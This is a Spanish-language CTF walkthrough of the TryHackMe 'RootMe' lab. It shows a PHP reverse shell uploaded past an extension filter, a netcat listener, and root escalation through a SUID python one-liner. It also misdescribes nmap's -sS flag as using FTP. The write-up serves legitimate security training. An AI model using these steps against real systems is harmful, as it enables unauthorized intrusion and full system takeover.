TryHackMe WriteUp: RootMe

incuerd0

Incuerd0

Posted on April 3, 2023

TryHackMe WriteUp: RootMe

Introduccion

TryHackMe (THM) es una de mis comunidades favoritas, he visto como durante años el empeño que se ponen en mejorar es relevante y es de las que más recomiendo cuando me preguntan por dónde empezar a practicar.

Pese a llevar un rato inactivo, hoy me he dispuesto a pasar el día recorriendo un poco la comunidad y dedicarle algunas horas a alguna máquina, primero, para recordar algunos conceptos elementales y segundo, para volver a las glorias pasadas.

En este caso he decidido trabajar sobre RootMe.

Sugerencia: te invito a intentar primero por tu cuenta y tomes esto como una guía si en algún paso te llegas a quedar, de igual manera cualquier feedback será bien recibido. :)

Detalles de la máquina

Target machine

Esta máquina tratará sobre los temas:

  • Servidores web Apache
  • Sistemas Linux
  • PHP como navaja de corte para la vulneración de una máquina
  • Escalada de privilegios haciendo uso de malas configuraciones

Reconocimiento

Después de conectarme a la VPN de THM, y finalizar la religiosa actualización de mi sistema ofensivo (Kali Purple), lo primero que hice fue realizar un scaneo con nmap:

nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Enter fullscreen mode Exit fullscreen mode

Explicación del comando:

  • -sS: le pide al motor de nmap que use el protocolo FTP para encontrar los servicios
  • -sV: le pide al motor de nmap que muestre la versión del servicio que encuentre
  • -T4: establece un tiempo de respuesta agresivo que acelera el proceso de análisis. Referencia
  • -O: le pide al motor de nmap que busque información referente al sistema operativo
  • -oN: genera un archivo con la salida final de nmap, de nombre nmap_services_scan
  • -v: pide al motor de nmap que la salida sea 'verbosa', es decir, que vaya mostrando información del proceso
  • --script=vuln: pide al motor de nmap que utilice el script de vulnerabilidades durante este escaneo
  • 10.10.7.32: la IP de la máquina objetivo (durante la práctica cambió un par de veces la IP, basta con utilizar la IP indicada por THM)

Teniendo la siguiente salida:

# Nmap 7.93 scan initiated Sun Apr  2 18:43:02 2023 as: nmap -sS -sV -T4 -O -oN nmap_services_scan -v --script=vuln 10.10.7.32
Increasing send delay for 10.10.7.32 from 0 to 5 due to 11 out of 22 dropped probes since last increase.
Nmap scan report for 10.10.7.32
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE    SERVICE VERSION
22/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.6p1: 
|       EXPLOITPACK:98FE96309F9524B8C84C508837551A19    5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19    *EXPLOIT*
|       ...
|_      1337DAY-ID-30937    0.0 https://vulners.com/zdt/1337DAY-ID-30937    *EXPLOIT*
80/tcp  open     http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners: 
|   cpe:/a:apache:http_server:2.4.29: 
|       CVE-2019-9517   7.8 https://vulners.com/cve/CVE-2019-9517
|       ...
|_      CVE-2006-20001  0.0 https://vulners.com/cve/CVE-2006-20001
|_http-csrf: Couldn't find any CSRF vulnerabilities.
443/tcp filtered https
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/2%OT=22%CT=1%CU=34535%PV=Y%DS=2%DC=I%G=Y%TM=6429CD1B
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M508ST11NW6%O2=M508ST11NW6%O3
OS:=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW6%O6=M508ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 32.708 days (since Wed Mar  1 01:45:04 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr  2 18:44:43 2023 -- 1 IP address (1 host up) scanned in 101.71 seconds
Enter fullscreen mode Exit fullscreen mode

Es posible ver entonces que nuestra máquina objetivo tiene dos puertos corriendo servicios:

Puerto Servicio Versión
22/tcp ssh OpenSSH 7.6p1
80/tcp http Apache httpd 2.4.29

Casi de facto, cada que veo un servicio HTTP corriendo por un puerto 80, pienso enseguida que hay gran probabilidad de que exista una página web corriendo en ese servidor, así que haciendo uso del explorador entro a la IP de la máquina objetivo en cuestión.

RootMe main page

Desde aquí, y sabiendo ya que existe una página web, utilizo la herramienta GoBuster para hacer búsqueda de directorios con fuerza bruta:

gobuster dir -u 10.10.7.32 -o gobuster_scan -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
Enter fullscreen mode Exit fullscreen mode

Explicación del comando:

  • gobuster: invoca la herramienta
  • dir: establece el modo directorio de la herramienta, esto es util cuando pretendemos analizar los posibles directorios y archivos que existan
  • -u: bandera para establecer el objetivo, en este caso la IP 10.10.7.32
  • -o: genera un archivo con la salida del escaneo, en este caso de nombre gobuster_scan
  • -w: establece el fichero de palabras a buscar, en este caso /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt

La salida resultante es por lo menos interesante:
Si observamos detenidamente el primer escaneo con el script de vulnerabilidades de nmap, tenemos que encontró tres directorios:

http-enum: 
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /uploads/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

Enter fullscreen mode Exit fullscreen mode

Mientras que del lado del escaneo de gobuster, encontramos 4 en el archivo de salida:

/uploads              (Status: 301) [Size: 310] [--> http://10.10.7.32/uploads/]
/css                  (Status: 301) [Size: 306] [--> http://10.10.7.32/css/]
/js                   (Status: 301) [Size: 305] [--> http://10.10.7.32/js/]
/panel                (Status: 301) [Size: 308] [--> http://10.10.7.32/panel/]
Enter fullscreen mode Exit fullscreen mode

/panel es entonces un directorio oculto.

Si accedemos a la url [IP objetivo]/panel tenemos la siguiente vista:

Upload view

Es posible subir un archivo a la máquina objetivo, hasta aquí considero podemos dar por terminada la fase de reconocimiento.

Explotación

Desde este punto es pertinente comenzar a interactuar con la página, lo primero que hice fue crear un archivo archivo.txt con un texto simple cualquier texto con el comando echo:

echo "cualquier texto" > archivo.txt
Enter fullscreen mode Exit fullscreen mode

Y subirlo al servidor:

1

2

Ahora bien, ¿A qué parte del servidor se ha subido?, dentro de la información obtenida durante los escaneos, dimos con un directorio uploads, al mirar dentro del mismo tenemos lo siguiente:

Uploads

Desde este punto es posible prepara un ataque con una shell reversa (a veces llamado tambien shell inversa) en php, pero antes un poco de contexto:
¿Qué es una shell? Sin entrar en muchos tecnicismos, una shell es una sesión que permite ejecutar comandos de manera remota en un servidor. Sabiendo esto, una shell inversa se refiere a un proceso en el que la máquina 'víctima' hará la conexión con el atacante para recibir comandos, esto es útil para evadir firewalls y filtros de seguridad desde el lado de la máquina víctima.

En el sistema Kali tenemos diversas shells, es posible verlas con el comando webshells:

┌──(incuerdo㉿kali)-[~/Documentos/TryHackMe/RootMe]
└─$ webshells

> webshells ~ Collection of webshells

/usr/share/webshells
├── asp
├── aspx
├── cfm
├── jsp
├── perl
├── php
└── seclists -> /usr/share/seclists/Web-Shells
Enter fullscreen mode Exit fullscreen mode

Al listar las shells php con la utilidad tree tenemos lo siguiente:

┌──(incuerdo㉿kali)-[/usr/share/webshells/php]
└─$ tree
.
├── findsocket
│   ├── findsock.c
│   └── php-findsock-shell.php
├── php-backdoor.php
├── php-reverse-shell.php
├── qsd-php-backdoor.php
└── simple-backdoor.php

2 directories, 6 files
Enter fullscreen mode Exit fullscreen mode

De aquí es relevante ponerle atención a la shell php-reverse-shell.php. Para llevar a cabo la ejecución de esta shell reversa se necesitan dos componentes, el primero es configurar un servicio que 'escuche' al servicio remoto que se intentará comunicar con nosotros, el segundo es la ejecución de la shell en la máquina víctima.

Preparando el servicio de escucha

Para esto usaremos la utilidad nc para configurar el puerto 4444 de nuestra máquina atacante, esto con el comando

nc -lp 4444
Enter fullscreen mode Exit fullscreen mode

Explicación:

  • nc: invoca la utilidad de netcat
  • -l: establece nc como escucha (listen)
  • -p: establece el puerto de escucha, en este caso 4444

Es posible unir ambas banderas en una sola, por lo que -lp es equivalente a -l -p

3

Preparando la shell reversa

En este caso hice una copia de la shell php mostrada por el comando webshells con el comando

cp /usr/share/webshells/php/php-reverse-shell.php ./
Enter fullscreen mode Exit fullscreen mode

Explicación:

  • cp: copia el primer argumento (usualmente un archivo) en el segundo argumento (usualmente un directorio)
  • /usr/share/webshells/php/php-reverse-shell.php: archivo a copiar
  • ./: directorio donde se está ejecutando el comando

Teniendo la copia de la shell reversa PHP vamos a editarla, en mi caso lo haré con neovim, con el comando nvim ./php-reverse-shell.php. La parte que nos interesa del archivo es la siguiente:

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Enter fullscreen mode Exit fullscreen mode

Hay que configurar ip y port, en este caso la IP de nuestra máquina atacante y el puerto escucha, que, si se configuró como antes se dijo, será el 4444.

Guardados estos cambios podemos proceder a subir nuestra shell al servidor:

4

5

Tenemos que archivos .php no son permitidos al momento de intentar subirlos al servidor y parecería que no es una alternativa fiable, sin embargo existe el file upload bypass, que consiste básicamente en que del lado del servidor existe una 'sanitización' de los archivos, sin embargo las validaciones atienden a extensiones específicas y es posible 'burlar' estos mecanismos, basta con renombrar el archivo.

Probando con varias alternativas, al renombrar el archivo php-reverse-shell.php a php-reverse-shell.php.inc, es posible subirlo al servidor.

6

7

Y al hacer click (es decir, al acceder) al archivo...

7

¡Tenemos comunicación con la máquina víctima gracias a nuestra shell reversa!

Desde aquí ya nos es posible indicar comandos que se ejecutarán en la máquina remota, es conveniente ejecutar dos:

  1. whoami: que nos dirá con qué usuario de la máquina hemos iniciado sesión
  2. pwd: que nos dirá en qué parte de la máquina nos encontramos

Investigando un poco sobre el usuario www-data tenemos que dicho usuario es el usuario por defecto del servidor web Apache, este usuario tiene acceso a directorios públicos del sitio web para poder leer y mostrar su contenido. El contenido que en virtud nos interesa ver primero es el que se encuentra en el directorio /var/www, así que podemos hacer un listado de dicho directorio:

ls /var/www
Enter fullscreen mode Exit fullscreen mode

Y al notar que existe un archivo user.txt en dicho directorio, tenemos la primera bandera, la del usuario:

8

Escalada de privilegios

A partir de este punto viene la parte más interesante. Tenemos una sesión abierta en la máquina, sin embargo no sabemos a qué parte podemos acceder. Nuestro objetivo es alcanzar una sesión del usuario root para tener acceso total a la máquina. El comando find nos puede ayudar a conocer los directorios y archivos a los que se tiene acceso o no.

find / -user root -perm /4000 -print 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

Explicación:

  • find: invoca la utilidad
  • /: directorio en el que empezará a buscar, al indicar el directorio raíz / buscará en todos los archivos de la máquina
  • -user: establece el usuario sobre el que nos interesa hacer la búsqueda, en este caso el root
  • -perm: establece los permisos sobre los que nos interesa hacer la búsqueda, en este caso le pasamos el tipo de permiso como número octal, este permiso 4000 establece el bit setuid del usuario root. Referencia 1 Referencia 2
  • -print 2>/dev/null: al buscar en toda la máquina conviene limpiar aquella información que no nos interesa, con ésta última parte del comando filtramos enviando a null aquellas salidas relacionados con los lugares a los que no podemos acceder, dejando solo aquellos a los que si nos es posible acceder.

De dicho comando tenemos al siguiente salida:

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
...
/bin/umount
Enter fullscreen mode Exit fullscreen mode

Hasta el momento sabemos que dentro de la ruta /usr/bin/python existe un intérprete de python, por lo que podemos intentar una técnica que abusa de la mala configuracion de las reestricciones de un sistema con GTFOBins.
Sabemos que el binario /usr/bin/python tiene el bit SUID (por los permisos 4000 establecidos), si se ejecuta la invocación de una shell (así es, una shell dentro de una shell) con las banderas sh -p, es posible ejecutar una shell sh por defecto pero con los privilegios del SUID, en este caso el 'root':

cd /usr/bin
Enter fullscreen mode Exit fullscreen mode

Con este comando anterior vamos a la ruta del intérprete de python

./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Enter fullscreen mode Exit fullscreen mode

E invocamos la sesion sh. Al ejecutar un whoami...

9

¡Tenemos la sesión del usuario root! Con lo que ya es posible acceder a su bandera.
10

Conclusiones

Desde una página web no correctamente sanitizada logramos acceder a una máquina remota haciendo uso de una shell reversa en PHP, y desde un intérprete de python fue posible escalar hasta el usuario root haciendo uso de permisos mal configurados en dicha máquina remota.

Si llegaste hasta acá, te agradezco mucho por tu interés. Tengo la intención de hacer esto más seguido e ir mejorando tanto la redacción como el material ofrecido.

💖 💪 🙅 🚩
incuerd0
Incuerd0

Posted on April 3, 2023

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related